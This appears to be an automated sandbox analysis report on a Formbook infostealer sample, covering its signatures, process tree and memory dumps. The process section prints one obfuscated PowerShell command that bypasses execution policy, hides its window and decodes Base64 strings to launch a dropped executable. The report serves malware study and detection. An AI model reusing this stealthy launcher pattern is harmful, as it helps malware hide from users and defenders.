Analysis
- max time kernel
149s - max time network
131s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/08/2026, 11:00
General
- Target xz2KaoDtJ7WVTKl.exe
- Size 1.0MB
- Sample260810-m4dk1sff59
- SHA256 a6a6674d13230442f10b0b6663a5e659f9d3a072b8e575fd332baa5ff685a1d6
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\xz2KaoDtJ7WVTKl.exe"C:\Users\Admin\AppData\Local\Temp\xz2KaoDtJ7WVTKl.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xz2KaoDtJ7WVTKl.exe"C:\Users\Admin\AppData\Local\Temp\xz2KaoDtJ7WVTKl.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$zec3vi=6602;$4c0ick=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1xh4ur=$env:COMPUTERNAME;$lalxv2=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHRxR0FXdUVRQmxMLmV4ZQ==')));$1xh4ur=$env:COMPUTERNAME;& $4c0ick -FilePath $lalxv2"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\tqGAWuEQBlL.exe"C:\Users\Admin\AppData\Roaming\tqGAWuEQBlL.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\tqGAWuEQBlL.exe"C:\Users\Admin\AppData\Roaming\tqGAWuEQBlL.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_kwh4i0j0.1pq.ps1
tqGAWuEQBlL.exe
memory/1256-23-0x000001D4CCD20000-0x000001D4CCD42000-memory.dmp
memory/1256-17-0x000001D4E6A50000-0x000001D4E6A60000-memory.dmp
memory/1256-16-0x000001D4E6A50000-0x000001D4E6A60000-memory.dmp
memory/3308-14-0x00000000013E0000-0x0000000001426000-memory.dmp
memory/3308-34-0x00000000013E0000-0x0000000001426000-memory.dmp
memory/3308-30-0x00000000013E0000-0x0000000001426000-memory.dmp
memory/3308-15-0x00000000017A0000-0x0000000001AEA000-memory.dmp
memory/3308-12-0x0000000000400000-0x0000000000446000-memory.dmp
memory/5080-4-0x0000000005AC0000-0x0000000005ACA000-memory.dmp
memory/5080-8-0x0000000007470000-0x0000000007550000-memory.dmp
memory/5080-7-0x0000000005B50000-0x0000000005B60000-memory.dmp
memory/5080-6-0x0000000006FC0000-0x0000000006FDE000-memory.dmp
memory/5080-5-0x0000000005D10000-0x0000000005DAC000-memory.dmp
memory/5080-0-0x0000000000F10000-0x000000000101A000-memory.dmp
memory/5080-3-0x0000000005B50000-0x0000000005B60000-memory.dmp
memory/5080-2-0x0000000005A20000-0x0000000005AB2000-memory.dmp
memory/5080-1-0x0000000005EF0000-0x0000000006494000-memory.dmp